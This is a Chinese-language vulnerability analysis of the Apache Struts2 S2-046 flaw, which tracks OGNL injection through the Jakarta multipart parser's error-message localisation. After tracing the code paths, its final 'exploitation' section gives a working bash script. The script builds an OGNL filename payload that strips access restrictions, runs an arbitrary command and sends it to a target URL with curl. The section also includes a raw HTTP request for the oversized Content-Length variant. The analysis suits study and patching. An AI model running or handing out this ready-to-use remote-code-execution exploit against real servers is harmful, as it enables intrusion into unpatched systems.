影响版本:
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-length以及filename处理
【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同
0x01 踩坑
按照参考资料1部署就可以了
0x02 分析
跟进分析
这里看了很多分析,最后感觉还是按处理类来辨析更好
i. JakartaMultiPartRequest
主要是利用空字节解析错误抛出错误,在对错误信息本地化时候造成了命令执行
项目配置
P.S. 此配置其实可以不用声明,因为default.properties中默认值即为jakarta
<constant name="struts.multipart.parser" value="jakarta" />
对应处理类
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="default"/>
进入parse
public void parse(HttpServletRequest request, String saveDir) throws IOException { String errorMessage; try { this.setLocale(request); this.processUpload(request, saveDir); } catch (SizeLimitExceededException var5) { ... } catch (Exception var6) { if (LOG.isWarnEnabled()) { LOG.warn("Unable to parse request", var6, new String[0]); } errorMessage = this.buildErrorMessage(var6, new Object[0]); if (!this.errors.contains(errorMessage)) { this.errors.add(errorMessage); } } }
进入processUpload,这里判断是否为文件上传表单,如果是进入processFilefield进行处理
protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException { Iterator i$ = this.parseRequest(request, saveDir).iterator(); while(i$.hasNext()) { FileItem item = (FileItem)i$.next(); if (LOG.isDebugEnabled()) { LOG.debug("Found item " + item.getFieldName(), new String[0]); } if (item.isFormField()) { this.processNormalFormField(item, request.getCharacterEncoding()); } else { this.processFileField(item); } } }
没提前下断点,可以看到已经抛出异常了,跟进
org.apache.commons.fileupload.disk.DiskFileItem#getName
public String getName() { return Streams.checkFileName(this.fileName); }
再跟进checkFileName,这里会判断是否存在空字节,有的话就定位到空字节并抛出错误信息
跟进后,会回到parse中获取异常,进入buildErrorMessage
在buildErrorMessage中看到了熟悉的本地化,完工~
protected String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) { LOG.debug("Preparing error message for key: [#0]", new String[]{errorKey}); } return LocalizedTextUtil.findText(this.getClass(), errorKey, this.defaultLocale, e.getMessage(), args); }
ii. JakartaStreamMultiPartRequest
主要是利用超大的content-type进入错误处理逻辑,在处理错误信息本地化造成命令执行
注意项目配置中
<constant name="struts.multipart.parser" value="jakarta-stream" /> <!-- 可选配置 --> <constant name="struts.multipart.maxSize" value="1" />
到core下的struts-default.xml中可见
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="default"/>
通过parse开始进行解析
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { this.setLocale(request); this.processUpload(request, saveDir); } catch (Exception var5) { ... } }
关键代码,这里会通过isRequestSizePermitted判断文件大小,如果文件过大就会调用addFileSkippedError函数(注意:如果payload中有空字节,则会在itemStream.getName()时候抛出错误,则会和上面利用方法一样)
private void processUpload(HttpServletRequest request, String saveDir) throws Exception { if (ServletFileUpload.isMultipartContent(request)) { boolean requestSizePermitted = this.isRequestSizePermitted(request); ... while(i.hasNext()) { try { FileItemStream itemStream = i.next(); if (itemStream.isFormField()) { ... } else if (!requestSizePermitted) { this.addFileSkippedError(itemStream.getName(), request); LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", new Object[]{itemStream.getName(), this.maxSize}); } else { ... } } catch (IOException var7) { ... } } } }
跟入isRequestSizePermitted函数,只要content-length大于maxSize即返回false进入addFileSkippedError
private boolean isRequestSizePermitted(HttpServletRequest request) { if (this.maxSize != -1L && request != null) { return (long)request.getContentLength() < this.maxSize; } else { return true; } }
maxSize默认被定义为2097152byte,即2M(此配置可更改,所以payload中content-length最好写大一点)
回到processUpload进入addFileSkippedError,可见直接把Content-Disposition中的filename传入
跟进,可以看到对报错内容进行本地化处理
流程梳理
jakarta
st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest a=>operation: 进入parse进行数据包解析,注意这里捕获异常 b=>operation: 进入processUpload对内容进行解析,使用processFileField对上传文件表单进行分析 c=>operation: 在getName时由于文件名含有00空字节导致抛出一个异常,异常内容为文件名00之前内容 d=>operation: 回到parse中的异常捕获,使用buildErrorMessage构建异常信息 e=>operation: 使用本地化LocalizedTextUtil.findText()对信息进行处理 en=>end: 一些列操作后执行ognl st->a->b->c->d->e->en
jakarta-stream
st=>start: 传入之后通过struts-default.xml t=>operation: 进入org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest a=>operation: 进入parse进行数据包解析,注意这里也有一个捕获异常 b=>operation: 进入processUpload对内容进行解析,首先判断content-length是否过长 c=>operation: 过长则进入addFileSkippedError进行错误信息构建,进入之前获取上传文件名 d=>condition: 文件名是否包含00空字节 e=>operation: 进入addFileSkippedError,调用buildErrorMessage f=>operation: 回到parse捕获异常(类似jakarta利用) g=>operation: 调用buildErrorMessage构建异常信息 en=>end: 一些列操作后执行ognl st->t->a->b->c->d d(yes)->f d(no)->e e->g f->g g->en
0x03 利用条件
在Struts使用Jakarta默认配置时,数据流并没有经过JakartaStreamMultiPartRequest。根据官方解释,在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。
JakartaMultiPartRequest
- All 漏洞版本
- Payload类型:
- 有
00
空字节
- 有
JakartaStreamMultiPartRequest
- 版本 > 2.3.20
- 配置 jakarta-stream
- 需要content-length > minSize
- Payload类型:
- 无
00
空字节 - 有
00
空字节 -> 触发逻辑与上面JakartaMultiPartRequest相似
- 无
0x04 利用方式
有
00
payload其实通用的,主要注意下
00
位置(payload为\0b
实际为00 62
)
#!/bin/bash
url=$1
cmd=$2
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload"
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
无
00
&& content-length主要留意这个是配合content-length用的
Content-Length: 1000000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
有
00
&& content-length上面改改就行了